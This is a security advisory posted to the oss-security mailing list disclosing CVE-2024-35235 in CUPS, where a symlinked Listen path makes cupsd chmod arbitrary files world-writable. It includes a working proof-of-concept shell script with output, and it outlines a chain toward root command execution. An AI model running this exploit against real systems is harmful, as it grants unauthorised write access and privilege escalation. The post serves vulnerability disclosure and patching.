|
Message-ID: <28902b9a-3255-4bfe-a3c8-d0e08fb5f426@redhat.com> Date: Tue, 11 Jun 2024 16:07:27 +0200 From: Zdenek Dohnal <zdohnal@...hat.com> To: oss-security@...ts.openwall.com Subject: CVE-2024-35235 cups: Cupsd Listen arbitrary chmod 0140777 Hi all, there is vulnerability CVE-2024-35235 in cups project: Description Summary When starting the cupsd server with a Listen configuration item pointing to a symbolic link, the cupsd process can be caused to perform an arbitrary chmod of the provided argument, providing world-writable access to the target. Details This is an excerpt from a larger chain of vulnerabilities reported in Ubuntu 24.04. There is an assumption for exploitation that /etc/cups/cupsd.conf can be successfully edited (this has been omitted here as it is believed to be out of scope). When setting up the bind for unix sockets configured in the Listen parameters of the configuration file, the code does not check for a successful call to |unlink| and |bind| prior to performing the call to |chmod|. [1] On Ubuntu 24.04, by setting the Listen argument to a path such as |/tmp/stage/file|, where |file| is a symlink elsewhere in the system, the previous call to |unlink| for the path will fail due to AppArmor [2], and the subsequent call to |bind| will also fail due to the file still existing. The return value of the call to |bind| is not checked before the call to |chmod|, so a successfully planted symbolic link which causes the |bind| to fail will still be traversed by the call to |chmod| and the file permissions changed to be world writable. On systems where the Ubuntu AppArmor policy is not in place, this vulnerability still exists but as a race condition between the call to |unlink| and the call to |bind|. A sufficiently fast attacker could place a symbolic link at the configured location after the call to |unlink|, causing the |bind| to fail once again and performing a successful |chmod|. Severity: Moderate - CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N PoC The following script can be used for exploitation, sudo is used to emulate the above mentioned Listen configuration access. ``` set -e exploit() { echo "Staging..." mkdir -m 777 /tmp/stage ln -s /etc/cups/cupsd.conf /tmp/stage/cupsd.conf # emulate configuration access to cupsd.conf echo 'Listen /tmp/stage/cupsd.conf' | sudo tee -a /etc/cups/cupsd.conf echo echo "Current permissions of cupsd.conf" ls -l /etc/cups/cupsd.conf tail -n1 /etc/cups/cupsd.conf || true echo echo "Restarting cupsd" sudo systemctl restart cups echo echo "New permissions of cupsd.conf" ls -l /etc/cups/cupsd.conf tail -n1 /etc/cups/cupsd.conf || true } cleanup() { sudo sed -i '/Listen \/tmp\/stage\/cupsd.conf/d' /etc/cups/cupsd.conf sudo chmod 640 /etc/cups/cupsd.conf rm -rf /tmp/stage } $@ ``` Sample output can be seen below: ``` $ sh poc.sh exploit Staging... Listen /tmp/stage/cupsd.conf Current permissions of cupsd.conf -rw-r----- 1 root lp 4987 May 24 10:18 /etc/cups/cupsd.conf tail: cannot open '/etc/cups/cupsd.conf' for reading: Permission denied Restarting cupsd New permissions of cupsd.conf -rwxrwxrwx 1 root lp 4987 May 24 10:18 /etc/cups/cupsd.conf Listen /tmp/stage/cupsd.conf $ sh poc.sh cleanup ``` Impact Given that cupsd is often running as root, this can result in the change of permission of any user or system files to be world writable. Given the aforementioned Ubuntu AppArmor context, on such systems this vulnerability is limited to those files modifiable by the cupsd process. In that specific case it was found to be possible to turn the configuration of the Listen argument into full control over the cupsd.conf and cups-files.conf configuration files. By later setting the User and Group arguments in cups-files.conf, and printing with a printer configured by PPD with a |FoomaticRIPCommandLine| argument, arbitrary user and group (not root) command execution could be achieved, which can further be used on Ubuntu systems to achieve full root command execution. Patch: https://github.com/OpenPrinting/cups/commit/a436956f3 For OpenPrinting CUPS community, Zdenek Dohnal CUPS 2.4.x release manager -- Zdenek Dohnal Senior Software Engineer Red Hat, BRQ-TPBC
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.